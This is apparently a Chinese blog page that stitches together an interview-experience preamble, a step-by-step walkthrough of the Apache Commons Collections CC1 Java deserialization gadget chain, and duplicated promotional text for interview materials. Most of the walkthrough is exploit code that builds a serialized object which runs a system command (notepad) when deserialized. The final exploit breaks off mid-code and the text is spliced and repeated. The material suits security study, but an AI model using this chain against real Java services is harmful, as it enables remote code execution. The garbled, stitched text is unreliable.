感受:
其实我投简历的时候,都不太敢投递阿里。因为在阿里一面前已经过了字节的三次面试,投阿里的简历一直没被捞,所以以为简历就挂了。
特别感谢一面的面试官捞了我,给了我机会,同时也认可我的努力和态度。对比我的面经和其他大佬的面经,自己真的是运气好。别人8成实力,我可能8成运气。所以对我而言,我要继续加倍努力,弥补自己技术上的不足,以及与科班大佬们基础上的差距。希望自己能继续保持学习的热情,继续努力走下去。
也祝愿各位同学,都能找到自己心动的offer。
分享我在这次面试前所做的准备(刷题复习资料以及一些大佬们的学习笔记和学习路线),都已经整理成了电子文档
至于为什么使用Transformer接口,这里我们可以看到下面,这里我们可以理解成一个转换对象的地点,我们传进去的对象都会被转换后在返回,而且它可以接受任何对象。
这里我们选中Transformer,使用快捷键ctrl+alt+b,我们就可以快速查看使用了Transformer接口的类,因为我们知道InvokerTransformer是下一个节点,这里我们直接来到那里
这里我们来到InvokerTransformer类中的transform方法,这里我们可以知道,他是利用了反射,下面我们分析一下
input是我们传入的对象
Class cls = input.getClass(); 通过input对象获取字节码文件
//获取input对象中的iMethodName(iParamTypes)方法
//注意:java中方法是可以重名的,只要参数数量不一样就可以
Method method = cls.getMethod(iMethodName, iParamTypes);
//调用了iMethodName方法,参数的值是iArgs
method.invoke(input, iArgs);
然后找到参数的值的位置,这里参数的值,我们可以new的对象的时候附带进去,发现参数值,没有任何过滤,证明我们可以进行恶意代码了。
这里我们可以看看基础恶意代码执行
//但是我们不能以这种方法来进行恶意代码执行,我们这里将他转成反射的形式
Runtime.getRuntime().exec("notepad"); //使用exec方法打开记事本
这里是反射形式的,这里可以看到上面和上面InvokerTransformer类中的transform方法的形式是一样的呢,所以我们按这样将数据传入到里面
// 获取当前运行时对象
Runtime r = Runtime.getRuntime();
// 通过对象获得字节码文件
Class c = r.getClass();
// 获取Class对象中名为"exec",参数为String类型的public方法
Method execm = c.getMethod("exec", String.class);
// 在r对象上调用execm方法,执行"notepad"命令,打开记事本
execm.invoke(r, "notepad");
这里根据我们需要的东西,将值传进去,那么这时候transform方法中就会上面一样执行,然后弹出记事本。
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"notepad"}).transform(r);
利用第二阶段-TransformedMap
既然有了可以恶意代码执行的地方,我们就还需要可以走上去的地方,这里还是需要具有transfrom方法的类,但是这时候目标就变了,我们需要的是能够触发InvokerTransformer的transfrom的类。
这里我们随便找一个transform方法,右键选择查找用法
正常返回应该有21个左右,如果不是
像我这样设置一下,就可以将读出来了
这里我们看到map软件包,下面基本都是存放map类的,这里看到transformValue类下面checkSetValue方法,通过快捷键F4,直接跳转到他的源代码
这里我们看到,他是触发valueTransformer的transform方法的,而且这是一个受保护的方法,需要在本类触发,这里往上看看。
这里我们往上看到了是这里给valueTransformer赋的值,这个也是一个受保护的方法,我们在看看
这里看到一个静态方法调用TransformedMap,证明我们可以任意控制valueTransformer的值
这里我们先进行一些尝试
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"});
HashMap<Object,Object> hash = new HashMap<>();
//这里我们传进去invokerTransformer对象
//等于到checkSetValue方法的时候,就会触发invokerTransformer.transform(value);
TransformedMap.decorate(hash,null,invokerTransformer);
所以接下来就是想想怎么触发checkSetValue类了,而且还要让里面的值为Runtime的对象。
这里还是右键查看checkSetValue的用法
这里我们看到只有一个用法,这里我们跟过去看看
这时候有人就比较疑惑了checkSetValue不是protected吗,不是只能本类访问吗,这里我们往上看发现那个类其实就是TransformedMap的父类。
这里我们可以看到,他定义了一个常量,然后可以看到他是重写了一个setValue方法,这个方法,我们知道他原本是给Man的value赋值的。
这里我们本地测试一下,可以看到弹出来记事本了
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"});
HashMap<Object,Object> hash = new HashMap<>();
hash.put('a','b');
Map<Object,Object> decorate = TransformedMap.decorate(hash, null, invokerTransformer);
//这是Map的一种遍历的方法,通过获取键值对的方法
for (Map.Entry objectObjectEntry : decorate.entrySet()) {
objectObjectEntry.setValue(r);
}
常见疑惑解答:为什么我使用的是Map.Entry对象setValue**,为什么会到MapEntry里面setValue方法?**
这里分析一小手,首先我们可以知道,他的父类是AbstractMapEntryDecorator类
这里去这个类看看,这里可以看到他是接口了Map.Entry,所以他要重写里面所有的方法。
因为MapEntry的他子类中的类,所以可以算他覆盖了父类中的该方法,因此最终会调用MapEntry类中覆盖的setValue()方法
然后我们这里Map.Entry对象对应的是TransformedMap类,然后这个上面这个的子类,所以我们调用setValue其实就是调用MapEntry类中的setValue。
利用第三阶段
因为还是没有到readObject对吧,所以我还是要继续往上面爬,这里还是使用查看用法
在这里发现了还真有一个readObject方法
然后再这个方法里面还有一个遍历Map数组的部分,怎么遍历不好,偏偏还是使用键值对的方式遍历,真的就有这么巧吗,但是又两个问题,需要我们下面解决
**问题1:**那里又一个判断不是空才能进去
**问题2:**这里setValue方法,是直接给他值了,但是这个值不是我们需要的
这里我们接下来看看memberValues的值我们是否可以任意赋值,这里我们往上看,这里我们看到了它的构造函数,这里我们看到memberValues值,我们是可以控制的
注意:看到左上角,这是一个class,不是public,所以我们不能通过正常的new来获取他,他只能在它的包里面才能访问他,但是我们可以通过反射来调用。
所以按照这种思路,我们开始整理要写的代码
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"});
HashMap<Object,Object> hash = new HashMap<>();
hash.put('a','b');
Map<Object,Object> decorate = TransformedMap.decorate(hash, null, invokerTransformer);
// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取指定参数类型的构造函数Constructor对象,这里我们能获取到估计就是它的那个构造函数
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
// 相当于提升自己权限,以便可以访问非公共构造函数
constructor.setAccessible(true);
// 使用newInstance()方法创建一个新的AnnotationInvocationHandler实例
// 传递Override.class和decorate两个参数给构造函数
Object o = constructor.newInstance(Override.class, decorate);
利用第四阶段
完整的肯定不是这样子的,因为我们上面还有很多问题,
最主要的问题:因为我们是通过Runtime来执行恶意代码的,但是这个类不能序列化的,他没有接那个接口的
解决:通过反射,因为Class对象可以序列化
//相当于Runtime r = Runtime.getRuntimeMet()
Class c = Runtime.class;
Method getRuntimeMet = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMet.invoke(null, null);
//相当于r.exec('notepad')
Method execMet = c.getMethod("exec", String.class);
execMet.invoke(r, "notepad");
然后将其传换成InvokerTransformer类的形式,忘记了可以看上面
//相当于
/*
Class c = Runtime.class;
Method getRuntimeMet = c.getMethod("getRuntime", null);
*/
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
//相当于
//Runtime r = (Runtime) getRuntimeMet.invoke(null, null);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
//相当于
/*
Method execMet = c.getMethod("exec", String.class);
execMet.invoke(r, "notepad");
*/
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"}).transform(r);
然后按照白日梦组长的代码,我们可以知道这样调用起来是比较麻烦的,学习到了ChainedTransformer类中有一个方法,可以循环调用transform。
这里我们进去看一下,他是会循环调用iTransformers数组中的transform方法
然后iTransformers数组,是我们构造的时候传进去,可以自己控制的。
有的人疑惑,我们为什么只用传入一个Runtime.class就可以了,看看上面的transform方法的代码,他最后都会返回一个对象,然后下次调用transform方法的时候就会使用这个返回的值
Transformer[] transformers = new Transformer[] {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
然后按照这种理解,我们有了第一届exp,但是这样是有错误的,不能执行,我们使用断点查看一下。
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
hash.put("a",'b');
Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, decorate);
serialize(o); //定义了一个序列化的方法
unserialize("1.bin"); //定义了一个反序列化的方法
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
利用第五阶段
关于上面的问题,其实在第三阶段的时候,就提到了两个问题就是AnnotationInvocationHandler.java中的那两个,这里我们设断点调试一下
这里设一个,然后再反序列化的地方也设一个
这里我们看到它上面返回的值是null,这就证明这个判断我们进不去,更别说调用setValue方法了,这里我们分析一下,他是获取memberValue的键值,然后查询memberTypes里面有没有,这个是随便设置的一个键值肯定是没有的。
这里我们分析一下,type的值是Override,就是这里我们传进去
但是说getInstance,是获取它里面的成员方法,Override是没有成员方法的
然后下面memberTypes方法是返回一个Map<String, Class<?>>
解决方法,这里我们发现Override中的Target中有成员方法的
这里我们修改exp下面这些,那么他就是他查看Target下面有没有value成员方法,肯定是有的。
这里我们继续调试,发现它传给checkSetValue方法的值,不是Runtime,那么肯定是不可以触发恶意代码的。
但是这里我们是不能控制,但是经过和白日梦组长的学习,我知道ConstantTransformer类中的,transformers方法可以帮我们返回Runtime
这里我们看到,接受构造函数中的我们给他的类,然后他的transformers方法,不管他的参数的类型,只返回我们构造的时候给他的类型,好神奇正好需要。
这里给exp中Transformer数组中添加进来new ConstantTransformer(Runtime.class)
当我们触发他的transformers方法时,他就会返回Runtime.class,正好给下面的用,哈哈哈。
这里我们重新断点调试,发现他运行到ConstantTransformer类中的transformers方法的时候,返回的果然是Runtime
完整exp-TransformedMap
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Serialcc {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
//定义一系列Transformer对象,组成一个变换链
Transformer[] transformers = new Transformer[]{
//返回Runtime.class
new ConstantTransformer(Runtime.class),
//通过反射调用getRuntime()方法获取Runtime对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
//通过反射调用invoke()方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//通过反射调用exec()方法启动notepad
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
//将多个Transformer对象组合成一个链
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
//给HashMap添加一个键值对
hash.put("value",'b');
//使用chainedTransformer装饰HashMap生成新的Map decorate
### 最后
**面试前一定少不了刷题,为了方便大家复习,我分享一波个人整理的面试大全宝典**
* Java核心知识整理
![2020年五面蚂蚁、三面拼多多、字节跳动最终拿offer入职拼多多](https://img-blog.csdnimg.cn/img_convert/8256adb393b0cd0bc48f6ef4290d9791.webp?x-oss-process=image/format,png)
Java核心知识
* Spring全家桶(实战系列)
![2020年五面蚂蚁、三面拼多多、字节跳动最终拿offer入职拼多多](https://img-blog.csdnimg.cn/img_convert/b99bd0d3ae274c694c38f89fc2a32d0d.webp?x-oss-process=image/format,png)
* 其他电子书资料
![2020年五面蚂蚁、三面拼多多、字节跳动最终拿offer入职拼多多](https://img-blog.csdnimg.cn/img_convert/9d5917f125fc79591f68a5183a6b1597.webp?x-oss-process=image/format,png)
**Step3:刷题**
既然是要面试,那么就少不了刷题,实际上春节回家后,哪儿也去不了,我自己是刷了不少面试题的,所以在面试过程中才能够做到心中有数,基本上会清楚面试过程中会问到哪些知识点,高频题又有哪些,所以刷题是面试前期准备过程中非常重要的一点。
**以下是我私藏的面试题库:**
![2020年五面蚂蚁、三面拼多多、字节跳动最终拿offer入职拼多多](https://img-blog.csdnimg.cn/img_convert/415dedc273bbc3d404a20ad53bbe971d.webp?x-oss-process=image/format,png)
> **本文已被[CODING开源项目:【一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码】](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)收录**
**[需要这份系统化的资料的朋友,可以点击这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**
hash.put("value",'b');
//使用chainedTransformer装饰HashMap生成新的Map decorate
### 最后
**面试前一定少不了刷题,为了方便大家复习,我分享一波个人整理的面试大全宝典**
* Java核心知识整理
[外链图片转存中...(img-ELp0XkyA-1715633639484)]
Java核心知识
* Spring全家桶(实战系列)
[外链图片转存中...(img-hkJ8wnbr-1715633639484)]
* 其他电子书资料
[外链图片转存中...(img-emCXj8uz-1715633639485)]
**Step3:刷题**
既然是要面试,那么就少不了刷题,实际上春节回家后,哪儿也去不了,我自己是刷了不少面试题的,所以在面试过程中才能够做到心中有数,基本上会清楚面试过程中会问到哪些知识点,高频题又有哪些,所以刷题是面试前期准备过程中非常重要的一点。
**以下是我私藏的面试题库:**
[外链图片转存中...(img-9rXngRpa-1715633639485)]
> **本文已被[CODING开源项目:【一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码】](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)收录**
**[需要这份系统化的资料的朋友,可以点击这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**